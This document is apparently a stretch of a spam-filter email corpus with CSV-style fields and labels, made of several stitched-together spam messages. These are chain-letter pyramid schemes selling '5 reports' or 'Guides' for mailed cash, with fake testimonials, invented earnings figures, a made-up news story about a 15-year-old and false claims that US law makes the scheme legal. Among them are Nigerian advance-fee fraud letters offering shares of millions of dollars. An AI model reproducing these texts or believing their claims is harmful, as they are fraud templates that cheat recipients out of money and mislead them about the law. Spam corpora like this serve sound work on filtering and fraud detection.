5 reports from these 5 different individuals. Save them on your computer so they will be accessible for you to send to the 1,000's of people who will order them from you. Also make a floppy of these reports and keep it at your desk in case something happens to your computer. **********IMPORTANT - DO NOT alter the names of the people who are listed next to each report, or their sequence on the list, in any way other than what is intructed below in steps 1 through 6 or you will lose out on the majority of your profits. Once you understand the way this works, you will also see how it does not work if you change it. Remember, this method has been tested, and if you alter, it will NOT work!!! People have tried to put their friends/relatives names on all five thinking they could get all the money. But it does not work this way. Believe us, we have tried to be greedy and then nothing happened. So do not try to change anything other than what is instructed. Because if you do, it will not work for you. Remember, honesty reaps the reward!!! 1\. After you have ordered all 5 reports, take this advertisement and REMOVE the name and address of the person in REPORT # 5. This person has made it through the cycle and is no doubt counting their fortune. 2\. Move the name & address in REPORT #4 down to REPORT #5. 3\. Move the name & address in REPORT #3 down to REPORT #4. 4\. Move the name & address in REPORT #2 down to REPORT #3. 5\. Move the name & address in REPORT #1 down to REPORT #2. 6\. Insert YOUR name & address in the REPORT #1 Position. PLEASE MAKE SURE you copy every name & address ACCURATELY! \----------------------------------------------------------------------------- Take this entire letter, with the modified list of names, and save it on your computer. DO NOT MAKE ANY OTHER CHANGES. Save this on a disk as well just in case you loose any data. To assist you with marketing your business on the Internet, the 5 reports you purchase will provide you with invaluable marketing information that includes: How to send bulk e-mails legally, Where to find thousand of free classified ads and much, much more. There are 2 Primary methods to get this venture going: METHOD #1: SENDING BULK E-MAIL LEGALLY \--------------------------------------------------------- Let's say that you decide to start small, just to see how it goes, and we'll assume you and those involved send out only 5,000 emails each. Let's also assume that the mailing receives only a 0.2% response (the response could be much better but lets just say it is only 0.2%. Also, many people will send out hundreds of thousands of e-mails instead of only 5,000 each). Continuing with this example, you send out only 5,000 e-mails. With a 0.2% response, that is only 10 orders for Report #1. Those 10 people resonded by sending out 5,000 e-mails each for a total of 50,000. Out of those 50,000 e-mails only 0.2% responded with orders. That's 100 people responded and ordered Report #2. Those 100 people mail out 5,000 e-mails each for a total of 500,000 e-mails. The 0.2% response to that is 1000 orders for Report #3. Thoe 1000 people send out 5,000 e-mails each for a total of 5 million e-mails sent out. The 0.2% response to that is 10,000 orders for Report #4. Those 10,000 people send out 5,000 e-mails each for a total of 50,000,000 (50 million) e-mails. the 0.2% response to that is 100,000 orders for Report #5. THAT'S 100,000 ORDERS TIMES $5 EACH = 500,000 (a half a million). Your total income in this example is: 1......$50 + 2......$500 + 3......$5,000 + 4......$50,000 + 5......$500,000 .................. Grand Total = $555,550.00 NUMBERS DO NOT LIE. GET A PENCIL & PAPER AND FIGURE OUT THE WORST POSSIBLE RESPONSES AND NO MATTER HOW YOU CALCULATE IT, YOU WILL STILL MAKE A LOT OF MONEY! \---------------------------------------------------------------------- REMEMBER FRIEND, THIS IS ASSUMING ONLY 10 PEOPLE ORDERING OUT OF 5,000 PEOPLE YOU MAILED. Dare to think for a moment what would happen if everyone, or 1/2, or even 1/5 of those people mailed 100,000 e-mails each or more? There are over 250 million people on the Internet worldwide and counting. Believe me, many people will do just that, and more! METHOD #2: PLACING FREE ADS ON THE INTERNET \--------------------------------------------------------------------- Advertising on the net is very, very inexpensive and there are hundreds of FREE places to advertise. Placing a lot of free ads on the internet will easily get a larger response. We strongly suggest you start with method # 1 and add METHOD # 2 as you go along. For every $5 you receive, all you must do is e-mail them the Report they ordered. That's it! Always provide same day service on all orders. This will guarantee that the e-mails they send out, with your name and address on it, will be prompt because they can not advertise until they receive the report. ORDER EACH REPORT BY IT NUMBER & NAME ONLY. Note: Always send $5 cash (US Currency) for each report. Checks are NOT accepted. Make sure the cash is wrapped in at lease 2 sheets of paper before you put it in the envelope. On one of those sheets of paper, write the NUMBER and the NAME of the Report you are ordering, your email ADDRESS, your NAME and postal address. Make sure you affix the proper 'International' Postage if ordering a report from outside your country. PLACE YOUR ORDER FOR THESE REPORTS NOW: \------------------------------------------------------------------------- Report #1: The Insider's Guide to Advertising for Free on the Net Order Report #1 from: K.J. Nickels P.O. Box 739 Waukesha, WI 53187 ______________________________________________________ Report #2: The Insider's Guide to Sending Bulk e-mail on the Net Order Report #2 from: K. Heritage 6933 W. University Ave #610 Gainsville, FL 32607 _______________________________________________________ Report #3: Secret to Multilevel marketing on the Net: Order Report #3 from: T. Turner 5317 Bonner Dr. Corpus Christie, TX 78411 ______________________________________________________ Report #4: How to become a Millionaire utilizing MLM & the Net Order Report #4 from: Mel Hahn 111 Wilmont Drive Unit G Waukesha, WI 53189 ______________________________________________________ Report #5: How to send out One Million e-mails Order Report #5 from: J. Frid 13324 Radisson Rd. N.E. Ham Lake, MN 55304 ______________________________________________________ There are currently almost 500,000,000 people online worldwide! $$$$$$$$$$ YOUR SUCCESS GUIDLINES$$$$$$$$$$ Follow these guidlines to guarantee your success: ************************************ If you do not receive at least 10 orders for Report #1 within 2 weeks, continue sending e-mails until you do. After you have received 10 orders, 2 to 3 weeks after that you should receive 100 orders or more for Report #2. If you did not, continue advertising or sending e-mails until you do. Once you have received 100 or more orders for Report #2, YOU CAN RELAX, because the system is already working for you, and the cash will continue to roll in!! THIS IS IMPORTANT TO REMEMBER: Every time your name is moved down the list, you are placed in front of a different report. You can KEEP TRACK of your PROGRESS by watching which report people are ordering form you. IF YOU WANT TO GENERATE MORE INCOME SEND ANOTHER BATCH OF E-MAILS AND START THE WHOLE PROCESS AGAIN. There is NO LIMIT to the income you can generate from this business!!! ________________________________________________________ FOLLOWING IS A NOTE FROM THE ORIGINATOR OF THIS PROGRAM: You have just received information that can give you financial freedom for the rest of your life, with NO RISK and JUST A LITTLE BIT OF EFFORT. You can make more money in the next few weeks and months than you have ever imagined. Follow the program EXACTLY AS INSTRUCTED. Do not change it in any way. It works exceedings well as it is now. Remember to e-mail a copy of this exciting report after you have put your name and address in Report #1 and moved others to #2..........#5 as instructed above. One of the people you send this to may send out 100,000 or more emails and your name will be on every one of them. Remember though, the more you send out the more potential customers you will reach. So my friend, I have given you the ideas, information, materials and opportunity to become financially independent. IT IS UP TO YOU NOW! **********MORE TESTIMONIALS********** ""My name is Mitchell. My wife Jody and I live in Chicago. I am an accountant with a major US Corporation and I make pretty good money. When I received this program I grumbled to Jody about receiving ""junk mail"". I made fun of the whole thing, spouting my knowledge of the population and percentages involved. I ""knew"" it wouldn't work. Jody totally ignored my supposed intelligence and a few days later she jumped in with both feet. I made merciless fun of her, and was ready to lay the old ""I told you so"" on her when the thing didn't work. Well, the laugh was on me! Within 3 weeks she had received 50 responses. Within the next 45 days she had received a total of $147,200.00 all cash! I was shocked. I have joined Jody in her ""hobby"". Mitchell Wof, Chicago, Illinois \---------------------------------------------------------------- ""Not being the gambling type, it took me several weeks to make up my mind to participate in this plan. But conservative that I am, I decided that the initial investment was so little that there was just no way that I wouldn't get enough orders to at least get my money back. I was surprised when I found my medium sized post office box crammed with orders. I made $319,210.00 in the first 12 weeks. The nice thing about this deal is that it does not matter where people live. There simply isn't a better investment with a faster return and so big"". Dan Sondstrom, Alberta, Canada \--------------------------------------------------------------- ""I had received this program before. I deleted it, but later I wondered if I should hav given it a try. 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I humbly crave your indulgence in sending you this mail, if the contents does not meet with your personal and business ethics, I apologize in advance. I am Barrister Kola Owolabi( attorney at law), I represent Alhaji Ishmaila Ibrahim Gwarzo s estates. Alhaji Gwarzo was the chief security advicer of the then military leader of this country(Nigeria) in the person of Late General Sani Abacha who died on the 8th of June 1998. With the advent of a new democratic dispensation in the country under the leadership of Gen. Olusegun Obasanjo (Rtd), my client has come under severe persecution due to the sensitive position he held in the last military regime, presently he is under house arrest restricted only to the confines of his village. The main purpose of this mail is to intimate you of a business proposal that might be of interest to you. My client has informed me of the existence of funds deposited with a security company abroad. This fund came about as part of security votes that were allocated to my client's portfolio during his tenure as chief security adviser to the then president. What happened was that he had part of the funds transferred from the vaults of the Central Bank Of Nigeria to this security outfit with the aim of purchasing arms and ammunitions for the personal security outfit of the then president. But before the purchase could take place the president died. My client has decided to keep this for himself as all his properties has been confisticated by the present regime. But due to his incarceration he cannot travel out and effect the change of possession to his benefit. I have been mandated by my client to source for a foreign partner that can help him facilitate the change of possession. The deposit certificate and the code needed for the execution of this endeavor are in my possession. The funds in question is USD17.6M (Seventeen Million, Six Hundred Thousand United States dollars Only). Should this proposition be of interest to you, you can reach me through my e-mail address so that we can go through the rudiments of this endeavor. I remain most obliged. Barrister Kola Owolabi(JP). Principal Partner. Owolabi & Associates __________________________________________________________________ Your favorite stores, helpful shopping tools and great gift ideas. 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I was given your contact address by a foriegner who was on a working visit in Cotonou. She said that your company can assist me on my investment plans, if I am lucky that your company may be willing to assist me.It may interest you to know that I am having $30.5 Million US Dollars ready for investment,this amount was left behind for me and my children by my late husband. I am willing to invest in a company with potentials for growth and stability including your company if your bye- laws allows for foreign investors or any other good and profitable business that you may suggest.I will be very happy if this enquiry receive urgent attention. You should mail your acceptance by sending to me your personal and company profile as I will also send to you all required information about myself and the help that I need from you about my investment plans. You can also reach me at:helinakarimu@ecplaza.net and hk_hk@post.com. Hoping for a very successful business relationship with you. Yours Truly, Mrs.Helina Karimu. (Investor) ______________________________________________________ Bo=EEte aux lettres - Caramail - http://www.caramail.com --=_NextPart_Caramail_0116921030135594_ID--",1,1 """Dr.James Ologun"" ",zzzz-sa-listinfo@spamassassin.taint.org,"Sat, 24 Aug 2002 20:18:02 -0700",Immediate Reply Needed,"Dear Sir, I am Dr James Alabi, the chairman of contract award and review committee set up by the federal government of Nigeria under the new civilian dispensation to award new contracts and review existing ones. I came to know of you in my search for a reliable and reputable person to handle a very confidential transaction, which involves the transfer of a huge sum of money to a foreign account. There were series of contracts executed by a consortium of multi-nationals in the oil industry in favor of N.N.P.C. The original values of these contracts were deliberately over invoiced to the sum of US$12,320,000.00 (Twelve Million Three Hundred and Twenty Thousand United State Dollars). This amount has now been approved and is now ready to be transferred being that the companies that actually executed these contracts have been fully Paid and the projects officially commissioned. Consequently, my colleagues and I are willing to transfer the total amount to your account for subsequent disbursement, since we as civil servants are prohibited by the code of conduct bureau (civil service law) from operating and/or opening foreign accounts in our names. Needless to say, the trust reposed on you at this juncture is enormous, in return, we have agreed to offer you 20% of the transferred sum, while 10% shall be set aside for incidental expenses (internal and external) between both parties in the course of the transaction you will be mandated to remit the balance to other accounts in due course. Modalities have been worked out at the highest level of the Ministry of Finance and the Central Bank of Nigeria for the immediate transfer of the funds within 7 working days subject to your satisfaction of the above stated terms. Our assurance is that your role is risk free. To accord this transaction the legality it deserves and for mutual security of the funds the whole approval procedures will officially and legally processed with your name or the name of any company you may nominate as the bonefide beneficiary. Once more I want you to understand that having put in over twenty-five years in the civil service of my country, I am averse to having my image and career dented. This matter should therefore be treated with utmost secrecy and urgency it deserves. Please you should signify your intention to assist by sending me a reply to this email to state your position on this transaction, if favorable we will take further steps to brief you the full details of this viable transaction. I want to assure you that this business proposal is 100% risk free as we have done our homework properly. I quite believe that you will protect our interest by taking this deal strictly confidential, as we are still in government service, which we intend to retire from in full honor. Kindly expedite action as we are behind schedule to enable us include this transfer in the next batch which would constitute the new quarter payments for the 2002 financial year. Thank you and God bless. Dr James Alabi",1,0 bwiTim Fai ,Friend@webnote.net,"Sun, 25 Aug 2002 09:36:45 +0800",ADV: Internet marketing & communications; earn $100k/year... uleio,"HELLO...By reading the short Summary just below, you will see how you can learn new skills in communication, do a direct marketing program on the internet, and at the same time, earn $100,000 or more to enable you to CHANGE YOUR LIFE!!! ************SUMMARY*************************** Just read this Summary, follow the actions that it advises, and start earning some serious money. You will learn new skills in communications and how to market on the internet. What a Deal! Your total cash investment is just $50.00. Step 1. If this is the first time you have seen this message, and you have not joined in this program before, then take out five US$10.00 bills (total $50 investment), and mail out $10.00 each to the following people to purchase five Guides on communications. For each Guide that you will be ordering and buying, write out on a sheet of plain white paper, your own name, address, and YOUR OWN EMAIL ADDRESS, and the number and name of the Guide that you are buying. Then fold the paper, put the $10.00 bill inside the sheet of paper, insert the paper and $10.00 bill into an envelope, address the envelope with the name and address of the person whose name is shown under each Guide below, and mail the envelope by first class or air mail. Be sure to put enough postage stamps on the envelopes. No need to send by registered mail. LIST OF FIVE NAMES**************************** ________________________________________________ GUIDE# 1: ""How to be A More Effective Public Speaker"" Order Guide #1 for US$10.00 CASH from: (In addition to Guide #1, you will receive a valuable marketing Guide ""A Million Bucks From the Internet"", free of charge) Derrick Nguyen 9530 Whitmore St El Monte, CA 91733 USA ________________________________________________ GUIDE # 2: ""How to Give a Business Presentation"" Order Guide # 2 for US$10.00 CASH from: Tim Fai GPO Box 260 Macau (via Hong Kong) ________________________________________________ GUIDE# 3: ""How to Write More Effectively"" Order Guide # 3 for US$10.00 CASH from: Luis Pastor Apartado 81 48080 Bilbao Spain ________________________________________________ GUIDE # 4: ""What to do at a Social Function"" Order Guide # 4 for US$10.00 CASH from: Chester Waldvogel 11 Chestnut Way Berlin, MD 21811 USA ________________________________________________ GUIDE # 5: ""How To Sharpen Your Mind"" Order Guide # 5 for US$10.00 CASH from: J. Siden Krondikesvagen 54 A 83147 Ostersund Sweden ________________________________________________ END OF LIST OF FIVE NAMES********************* Step 2. These Guides will be emailed to you. Save these Guides on your computer's hard disk as other people will be ordering these Guides from you, paying you for them and you will need to email the Guides to the new buyers. Step 3. From the list of names above, delete the name and address of the person shown under GUIDE#5, and replace that slot with the name and address of the person from GUIDE #4's slot. Be sure to copy the name and address exactly as shown. Check the address again. Step 4. Delete name and address under GUIDE #4, and replace with the name and address from GUIDE #3's slot. Step 5. Delete name and address under GUIDE #3, and replace with the name and address from GUIDE#2's slot. Step 6. Delete name and address under GUIDE #2, and replace with the name and address from GUIDE #1's slot. Step 7. Delete name and address under GUIDE #1, and replace with YOUR OWN NAME AND ADDRESS. This step is how your own name and address is entered into the list of names to receive orders for the Guides. Eventually, your own name will go down the list of names until you have reached GUIDE #5, and then be dropped from the list. The key point is that the number of people ordering Guides from you will grow larger the lower down the list your name goes. Step 8. Once you have completed this new list, send out this new email (which shows your name under GUIDE #1) to as many email addresses as possible, as many as 100,000 emails or even more. The greater the number of mailings you make, potentially the greater the number of people who will order the GUIDE #1 from you. These people will then make new emails to send out to their addresses with the email showing your name under GUIDE #2, and so on. This is all you need to do. If you wish to read the rest of this email message, then do so. If not, just do the 8 steps shown above. Remember, the key point is to send out as many emails as possible in step 8, and to encourage and help those who purchase the Guides from you to send out emails of their own. Do NOT change anything other than what is instructed. Because if you do, it will not work for you. Your immediate reaction might be: Why not replace all the names on the list with the names of your spouse, kids, relatives, and friends. That might seem to you like a clever move because new buyers will be sending their money to these people. But that move is the exact opposite of what is to your benefit. What will benefit you most is having people who will send out emails, seek new buyers, and provide assistance to new buyers. If the people you slip into that list aren't going to be sending new emails, you're only hurting yourself by effectively closing down the program with your name on top of the list of the names that you have inserted. There wouldn't be new buyers coming in. So, your sly maneuver will gain you exactly zero! Furthermore, if you have done the work, and your name has worked its way to further down the list, by then you deserve the rewards and earnings from that effort, and it would be unethical for anyone to remove your name for whatever reason. Don't do it to others. Remember, honesty reaps the reward!!! You may have a concern that after sending the total $50 to the five people on the list that one of the people will just take your money, and not send you the Guide. Well, rest assured. As we said above, it's to our benefit to have you as a satisfied buyer who will actively send out emails to find new buyers. So don't think the people on the list will try to cheat you or to ""stiff"" you for $10.00. The people on the list would rather have you working hard because your effort will benefit them as well as you. Later on, when other buyers send you the order to buy the Guides, fulfill your end of the deal by sending the ordered Guide to the buyer. Don't cheat. Provide efficient and honest service and we will all benefit. ******END OF SUMMARY************************ =======REST OF MESSAGE====================== With easy-to-use email tools and opt-in email, success in this business is now well within the capabilities of ordinary people who may not have done any internet marketing before. And the earnings potential is staggering! READ THIS EMAIL TO THE END! - follow what it says - and you will not worry whether a RECESSION is coming or not, or whether or not you can afford to buy that new car or home that you have been looking for. Yes, I know what you are thinking. I never responded to one of these before either. One day though, something made me feel: ""You use $50 going to a movie for 2 hours with your spouse, friend, or child, plus a simple meat at a restaurant. Why the heck not?"" No matter where you believe those ""feelings"" came from, I thank every day that feeling came over me. I cannot imagine where I would be or what I would be doing had I not. Read on. It works. And when you read the Guides, Youll learn how to become a more effective communicator. What can be better? A way to improve your self-image and confidence and at the same time have the potential to recover your investment and make some good money: making over half a million dollars every 4 to 5 months from your home. If you work on this program, you will learn a lot about direct marketing on the internet. If you believe direct marketing via the internet is the way sales and marketing will be done in the future, then the experience you will gain here could be a real boost in your work career, possibly even providing a new career for you. = PRINT THIS MESSAGE FOR FUTURE REFERENCE = If you want to make serious money, read this message until you understand it completely and feel confident to follow through on what it advises. FOLLOW THE SIMPLE INSTRUCTION ABOVE AND YOUR FINANCIAL DREAMS CAN COME TRUE! Remember, this method has been tested, and if you alter it, it will NOT work! This IS a legitimate BUSINESS. You are offering a product for sale to a buyer. Treat it as such and you can see money coming to you in a reasonable period of time, depending on the collective efforts of yourself and the others on the list of five. =========================================== *** Take this entire email, with the modified list of names, and save it on your computer. DO NOT MAKE ANY OTHER CHANGES. There are 2 methods to get this venture going: METHOD # 1: BY SENDING BULK EMAIL LEGALLY =========================================== Let's say that you start small, to see how it goes, and that you and those involved send out only 5,000 emails each. Let's also assume that the mailing receives only a 0.1% (1/10 of 1%) response (the response could be much better but let's just say it is only 0.1%). Also many people will send out hundreds of thousands of emails instead of only 5,000 each. Out of your 5,000 emails and a 0.1% response, that is only 5 orders for Guide # 1. Those 5 people who responded also send out 5,000 emails each for a total of 25,000. Out of those 25,000 emails only 0.1% responded with orders. That's 25 people who responded and ordered Guide # 2. Those 25 people mail out 5,000 e-mails each for a total of 125,000 emails. The 0.1% response to that is 125 orders for Guide # 3. Those 125 people send 5,000 emails each for a total of 625,000 emails sent out. The 0.1% response is 625 orders for Guide # 4. Those 625 people send out 5,000 emails each for a total of 3,125,000 emails. The 0.1% response to that is 3,125 orders for Guide # 5, or $31,250 at $10 per Guide. This may seem a small amount to you, but remember we used a very low response rate with a small number of emails being sent out. See what happens if you can get the response rate up just slightly. If Response Rate is 0.1%, income from Guides #1 - #5 is: $50+250+1,250+6,250+31,250 = $39,050 (as above) If Response Rate is 0.15%, income from Guides #1 - #5 is: $75+560+4,220+31,640+237,300 = $273,795 If Response Rate is 0.2%, income from Guides #1 - #5 is: $100+1,000+10,000+100,000+1,000,000 = $1,111,100 Dare to think for a moment what would happen if everyone or half or even one 4th of those people mailed 100,000 emails each or more? From the example above, you can see the power of leveraging, that is, how much greater is the amount of money from a small increase in the response rate. There are over 200 million people on the internet worldwide and counting, with thousands more coming online every day. METHOD # 2: PLACING FREE ADS ON THE INTERNET =========================================== Advertising on the net is very, very inexpensive and there are Many FREE places to advertise. Placing a lot of free ads on the internet will get a response. We strongly suggest you start with Method # 1 and add METHOD # 2 as you go along. For every $10 you receive, all you must do is email the Guide the buyer ordered. Always provide same day service. The people you buy these Guides from will assist and advise you how to get the large number of email addresses that you need to send the new email containing your name and address. In return, when others buy the Guides from you, you also should help those buyers to resell the Guides to their email addresses. This will benefit you because your name would be further down the list, and their new buyers will buy from you. This is no different than ""customer service"" in the retail or the ""bricks and mortars"" business. ===========AVAILABLE GUIDES ============== The reason for the ""cash"" is not because this is illegal or somehow ""wrong"". It is simply about time. Time for checks or credit cards to be cleared or approved, etc. Concealing it is simply so no one can SEE there is money in the envelope and steal it before it gets to you. ORDER EACH GUIDE BY ITS NUMBER & NAME ONLY. Always send a single $10 bill (U.S. CURRENCY) for each Guide. Checks NOT accepted. Make sure the cash is hidden by wrapping it in at least 2 sheets of paper. On one of those sheets of paper, write the NUMBER & the NAME of the Guide you are ordering, YOUR EMAIL ADDRESS and your name and postal address. Be sure to address the envelope correctly and put the proper amount of stamps to mail the envelope. PLACE YOUR ORDER FOR THESE GUIDES NOW FROM THE NAME AND ADDRESS LIST SHOWN AT THE BEGINNING OF THIS EMAIL ________________________________________________ YOUR SUCCESS GUIDELINES === If you do not receive at least 10 orders for GUIDE #1 within 2 weeks, continue sending emails until you do. === Two to three weeks after you receive 10 orders, you should receive 100 orders or more for GUIDE #2. If not, continue advertising or sending emails until you do. Once you have received 100 or more orders for GUIDE # 2, YOU CAN SEE THE PROGRAM IS WORKING, and cash should continue coming in! THIS IS IMPORTANT TO REMEMBER: Continue to assist new buyers with advice and instruction on how to send out more emails. You can KEEP TRACK of progress by noting which guides people are ordering from you. IF YOU WANT TO GENERATE MORE INCOME SEND ANOTHER BATCH OF EMAILS AND START THE WHOLE PROCESS AGAIN. There is NO LIMIT to the income you can generate !!! =========================================== A NOTE FROM THE ORIGINATOR OF THIS PROGRAM: You have just received information that can give you financial freedom to really change your life, but I don't wish to kid you: This requires A BIT OF EFFORT. You can make more money in the next few weeks and months than you have ever imagined. Follow the program EXACTLY AS INSTRUCTED. Remember to email the revised copy of this email after you have put your name and address in GUIDE#1 and moved others to #2 .....# 5 slots as instructed above. One of the people you send this to may send out 100,000 or more emails and your name will be on every one of them. Remember, the more you send out the more potential buyers you will reach. IT IS UP TO YOU! ORDER THE GUIDES NOW AND EMBARK ON THE ROAD TO FINANCIAL SECURITY! Upon your purchase of any GUIDE #1 through #5, the Copyright owner assigns to you two important rights: (1) The right to resell and to distribute via the internet the GUIDE that you have purchased, and (2) the right to assign to your buyer of the GUIDE, the further right for your buyer to resell that GUIDE. Included in your purchase of Guide #1 is a valuable report on how to market on the Internet. It's free of charge and will give you the tools you need. The right to print any of the material contained in the GUIDES is reserved exclusively for the copyright owner. Your right to resell and to distribute copies of the GUIDE applies only to the internet and/or world wide web via electronic distribution. YOU MAY NOT PRINT OUT THE GUIDES TO SELL OR DISTRIBUTE IN ANY WAY. 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You most likely have just seen this story recently featured on a major nightly news program (USA). And reported elsewhere in the world (including my neck of the woods - New Zealand). His mother was cleaning and putting laundry away when she came across a large brown paper bag that was suspiciously buried beneath some clothes and a skateboard in the back of her 15-year-old sons closet. Nothing could have prepared her for the shock she got when she opened the bag and found it was full of cash. Five-dollar bills, twenties, fifties and hundreds - all neatly rubber-banded in labelled piles. ""My first thought was that he had robbed a bank"", says the 41-year-old woman, ""There was over $71,000 dollars in that bag --that's more than my husband earns in a year"". The woman immediately called her husband at the car-dealership where he worked to tell him what she had discovered.He came home right away and they drove together to the boys school and picked him up. Little did they suspect that where the money came from was more shocking than actually finding it in the closet. As it turns out, the boy had been sending out, via E-mail, a type of ""Report"" to E-mail addresses that he obtained off the Internet. Everyday after school for the past 2 months, he had been doing this right on his computer in his bedroom. ""I just got the E-mail one day and I figured what the heck, I put my name on it like the instructions said and I started sending it out"", says the clever 15-year-old. The E-mail letter listed 5 addresses and contained instructions to send one $5 dollar bill to each person on the list, then delete the address at the top and move the others addresses Down , and finally to add your name to the top of the list. The letter goes on to state that you would receive several thousand dollars in five-dollar bills within 2 weeks if you sent out the letter with your name at the top of the 5-address list. ""I get junk E-mail all the time, and really did not think it was going to work"", the boy continues. Within the first few days of sending out the E-mail, the Post Office Box that his parents had gotten him for his video-game magazine subscriptions began to fill up with not magazines, but envelopes containing $5 bills. ""About a week later I rode [my bike] down to the post office and my box had 1 magazine and about 300 envelops stuffed in it. There was also a yellow slip that said I had to go up to the [post office] counter. I thought I was in trouble or something (laughs)"". He goes on, ""I went up to the counter and they had a whole box of more mail for me. I had to ride back home and empty out my backpack because I could not carry it all"". Over the next few weeks, the boy continued sending out the E-mail."" The money just kept coming in and I just kept sorting it and stashing it in the closet, barely had time for my homework"".He had also been riding his bike to several of the banks in his area and exchanging the $5 bills for twenties, fifties and hundreds. ""I didn't want the banks to get suspicious so I kept riding to different banks with like five thousand at a time in my backpack. I would usually tell the lady at the bank counter that my dad had sent me in to exchange the money] and he was outside waiting for me.One time the lady gave me a really strange look and told me that she would not be able to do it for me and my dad would have to come in and do it, but I just rode to the next bank down the street (laughs)."" Surprisingly, the boy did not have any reason to be afraid.The reporting news team examined and investigated the so-called ""chain-letter"" the boy was sending out and found that it was not a chain-letter at all.In fact, it was completely legal according to US Postal and Lottery Laws, Title 18, Section 1302 and 1341, or Title 18, Section 3005 in the US code, also in the code of federal regulations, Volume 16, Sections 255 and 436, which state a product or service must be exchanged for money received. Every five-dollar bill that he received contained a little note that read, ""Please send me report number XYX"".This simple note made the letter legal because he was exchanging a service (A Report on how-to) for a five-dollar fee. [This is the end of the media release. If you would like to understand how the system works and get your $71,000 - please continue reading. What appears below is what the 15 year old was sending out on the net - YOU CAN USE IT TOO - just follow the simple instructions]. +++++++++++++++++++++++++++++++++++++++++++++++++++ BE FINANCIALLY FREE LIKE OTHERS WITHIN A YEAR!!! Before you say ""Bull"", please read the following. This is the letter you have been hearing about on the news lately. Due to the popularity of this letter on the Internet, a national weekly news program recently devoted an entire show to the investigation of this program described below, to see if it really can make people money. The show also investigated whether or not the program was legal. Their findings proved once and for all that there are ""absolutely NO Laws prohibiting the participation in the program and if people can follow the simple instructions, they are bound to make some megabucks with only $25 out of pocket cost"". DUE TO THE RECENT INCREASE OF POPULARITY & RESPECT THIS PROGRAM HAS ATTAINED, IT IS CURRENTLY WORKING BETTER THAN EVER. Note* follow the directons below, I had best results the second time when I hired a bulk email service in addition to following the reports instructions. In order for all of us to be successful, many, many emails must be sent so that the returns are many. I have been extremely successful using the following company. They send out the offers, and all I do is accept money for reports, then I send back to the people as soon as possible. This is what one had to say: ""Thanks to this profitable opportunity. I was approached many times before but each time I passed on it. I am so glad I finally joined just to see what one could expect in return for the minimal effort and money required. To my astonishment, I received total $610,470.00 in 21 weeks, with money still coming in"". Pam Hedland, Fort Lee, New Jersey. +++++++++++++++++++++++++++++++++++++++++++++++++++ Here is another testimonial: ""This program has been around for a long time but I never believed in it. But one day when I received this again in the mail I decided to gamble my $25 on it. I followed the simple instructions and walaa ..... 3 weeks later the money started to come in. First month I only made $240.00 but the next 2 months after that I made a total of $290,000.00. So far, in the past 8 months by re-entering the program, I have made over $710,000.00 and I am playing it again. The key to success in this program is to follow the simple steps and NOT change anything."" More testimonials later but first, PRINT THIS NOW FOR YOUR FUTURE REFERENCE ++++ Order all 5 reports shown on the list below +++ For each report, send $5 CASH, THE NAME & NUMBER OF THE REPORT YOU ARE ORDERING and YOUR E-MAIL ADDRESS to the person whose name appears ON THAT LIST next to the report. MAKE SURE YOUR RETURN ADDRESS IS ON YOUR ENVELOPE TOP LEFT CORNER in case of any mail problems. When you place your order, make sure you order each of the 5 reports. You will need all 5 reports so that you can save them on your computer. Within a few days you will receive, vie e-mail, each of the 5 reports from these 5 different individuals. Save them on your computer so they will be accessible for you to send to the 1,000's of people who will order them from you. Also make a floppy of these reports and keep it on your desk in case something happens to your computer. IMPORTANT - DO NOT alter the names of the people who are listed next to each report, or their sequence on the list, in any way other than what is instructed below in step ""1 through 6"" or you will loose out on majority of your profits. Once you understand the way this works, you will also see how it does not work if you change it. Remember, this method has been tested, and if you alter, it will NOT work!!! People have tried to put their friends/relatives names on all five thinking they could get all the money. But it does not work this way. Believe us, we all have tried to be greedy and then nothing happened. So Do Not try to change anything other than what is instructed. Because if you do, it will not work for you. Remember, honesty reaps the reward!!! 1.... After you have ordered all 5 reports, take this advertisement and REMOVE the name & address of the person in REPORT # 5. This person has made it through the cycle and is no doubt counting their fortune. 2.... Move the name & address in REPORT # 4 down TO REPORT #5. 3.... Move the name & address in REPORT # 3 down TO REPORT #4. 4.... Move the name & address in REPORT # 2 down TO REPORT #3. 5.... Move the name & address in REPORT # 1 down TO REPORT #2 6.... Insert YOUR name & address in the REPORT # 1 Position. PLEASE MAKE SURE you copy every name & address ACCURATELY! +++++++++++++++++++++++++++++++++++++++++++++++++++ **** Take this entire letter, with the modified list of names, and save it on your computer. DO NOT MAKE ANY OTHER CHANGES. Save this on a disk as well just in case if you loose any data. To assist you with marketing your business on the internet, the 5 reports you purchase will provide you with invaluable marketing information which includes how to send bulk e-mails legally, where to find thousands of free classified ads and much more. There are 2 Primary methods to get this venture going: METHOD #1: BY SENDING BULK E-MAIL LEGALLY +++++++++++++++++++++++++++++++++++++++++++++++++++ Let's say that you decide to start small, just to see how it goes, and we will assume You and those involved send out only 5,000e-mails each. Let's also assume that the mailing receive only a 0.2% response (the response could be much better but lets just say it is only 0.2%. Also many people will send out hundreds of thousands e-mails instead of only 5,000 each). Continuing with this example, you send out only 5,000 e-mails. With a 0.2% response, that is only 10 orders for report # 1. Those 10 people responded by sending out 5,000 e-mail each for a total of 50,000. Out of those 50,000 e-mails only 0.2% responded with orders. That equals 100 people responded and ordered Report # 2. Those 100 people mail out 5,000 e-mails each for a total of 500,000 e-mails. The 0.2% response to that is 1000 orders for Report #3. Those 1000 people send out 5,000 e-mails each for a total of 5 million e-mails sent out. The 0.2% response to that is 10,000 orders for Report #4. Those 10,000 people send out 5,000 e-mails each for a total of 50,000,000 (50 million) e-mails. The 0.2% response to that is 100,000 orders for Report #5. THAT'S 100,000 ORDERS TIMES $5 EACH=$500,000.00 (half million). Your total income in this example is: 1..... $50 +2.....$500 + 3.....$5,000 + 4..... $50,000 + 5..... $500,000....... Grand Total=$555,550.00 NUMBERS DO NOT LIE. GET A PENCIL & PAPER AND FIGURE OUT THE WORST POSSIBLE RESPONSES AND NO MATTER HOW YOU CALCULATE IT, YOU WILL STILL MAKE A LOT OF MONEY! +++++++++++++++++++++++++++++++++++++++++++++++++++ REMEMBER FRIEND, THIS IS ASSUMING ONLY 10 PEOPLE ORDERING OUT OF 5,000 YOU MAILED TO. Dare to think for a moment what would happen if everyone or half or even one 4th of those people mailed 100,000e-mails each or more? There are over 150 million people on the Internet worldwide and counting. Believe me, many people will do just that, and more! METHOD #2: BY PLACING FREE ADS ON THE INTERNET +++++++++++++++++++++++++++++++++++++++++++++++++++ Advertising on the net is very very inexpensive and there are hundreds of FREE places to advertise. Placing a lot of free ads on the Internet will easily get a larger response. We strongly suggest you start with Method #1 and add METHOD #2 as you go along. For every $5 you receive, all you must do is e-mail them the Report they ordered. That's it. Always 